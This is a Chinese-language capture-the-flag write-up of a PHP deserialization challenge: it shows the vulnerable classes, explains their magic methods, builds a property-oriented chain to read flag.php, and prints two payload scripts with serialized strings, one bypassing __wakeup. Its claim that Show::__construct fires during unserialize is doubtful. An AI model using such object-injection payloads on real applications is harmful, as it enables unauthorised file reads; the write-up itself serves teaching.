源码

<?php
// flag in flag.php
class C1e4r{
    public $test;
    public $str;
    public function __construct($name){
        $this->str = $name;
    }
    public function __destruct(){
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file){
        $this->source = $file;
        echo $this->source;
    }
    public function __toString(){
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value){
        $this->$key = $value;
    }
    public function _show(){
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)){
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
    }
    public function __wakeup(){
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)){
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $file;
    public $params;
    public function __construct(){
        $this->params = array();
    }

    public function __get($key){
        return $this->get($key);
    }

    public function get($key){
        if(isset($this->params[$key])){
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }

    public function file_get($value){
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}


show_source(__FILE__);
$name=unserialize($_GET['strs']);
?>

分析

class C1e4r{
    public $test;
    public $str;
    public function __construct($name){
        $this->str = $name;
    }
    public function __destruct(){
        $this->test = $this->str;
        echo $this->test;
    }
}

两个共有属性$test、str
__construct()在对象被实体化时触发，将传入的值赋给$str
__destruct()在对象被销毁时触发，将内部的$str赋给$test并以字符串的形式输出（可触发__toString())

class Show{
    public $source;
    public $str;
    public function __construct($file){
        $this->source = $file;
        echo $this->source;
    }
    public function __toString(){
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value){
        $this->$key = $value;
    }
    public function _show(){
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)){
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
    }
    public function __wakeup(){
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)){
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}

两个共有属性$source、$str
__construct()在对象被实体化时触发，将传入的值赋给$source并以字符串的形式输出（触发__toString())
__toString()在对象被当作字符串调用时触发，返回$str['str']对象的$source（这里的$str是一个数组，他的str键对应了一个对像）
__set()在赋值不可访问或不存在的属性时触发，将传过来的第二个值赋给第一个值
_show()过滤$source，不能存在http、https、file:、gopher、dict、..、f1ag不区分大小写，若不存在则高亮$source
__wakeup()在反序列化时触发，过滤$source中的http、https、file:、gopher、dict、..、f1ag，并赋值$source='index.php'

class Test{
    public $file;
    public $params;
    public function __construct(){
        $this->params = array();
    }

    public function __get($key){
        return $this->get($key);
    }

    public function get($key){
        if(isset($this->params[$key])){
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }

    public function file_get($value){
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}

两个共有属性$file、$params
__construct()在对象实体化时触发，将一个空数组赋给$params
__get()在读取不可访问得属性时触发，将传入的值传入get()函数
get()如果params[$key]存在，将它传入file_get()，否则将"index.php"传入file_get.php
file_get()得到传入的文件加密后返回

$name=unserialize($_GET['strs']);

拿flag：在Test::file_get()中有读取文件操作，Test::get()可以调用他，Teat::__get()调用get()
触发__get()：Show::__toString()方法中的$str['str']->source，如果这个键对应的是Test对象，即可触发
触发__toString()：C1e4r::__destruct()和Show::__construct()可以触发，若为第一种，则$str=new Show；若为第二种，则$source=new Show

payload*2

使用C1e4r::__destruct()：

<?php
class Test {
    public $file;
    public $params = array('source'=>'flag.php');
}
class Show {
    public $source;
    public $str;    //$str['str']=new Test
}
class C1e4r {
    public $test;
    public $str;    //$str=new Show
}
$a = new C1e4r;
$a->str = new Show;
$a->str->str['str'] = new Test;
echo serialize($a);
# O:5:"C1e4r":2:{s:4:"test";N;s:3:"str";O:4:"Show":2:{s:6:"source";N;s:3:"str";a:1:{s:3:"str";O:4:"Test":2:{s:4:"file";N;s:6:"params";a:1:{s:6:"source";s:8:"flag.php";}}}}}

使用Show::__construct()：
这里要注意一点：这个方法需要使用Show::source属性，所以需要绕过__wakeup()，最后手动将他对应的属性值改大实现绕过

<?php
class Test {
    public $file;
    public $params = array('source'=>'flag.php');
}
class Show {
    public $source;     //new Show
    public $str;        //$str['str']=new Test
}
$a = new Show;
$a->source = new Show;
$a->source->str['str'] = new Test;
echo serialize($a);
# O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";a:1:{s:3:"str";O:4:"Test":2:{s:4:"file";N;s:6:"params";a:1:{s:6:"source";s:8:"flag.php";}}}}s:3:"str";N;}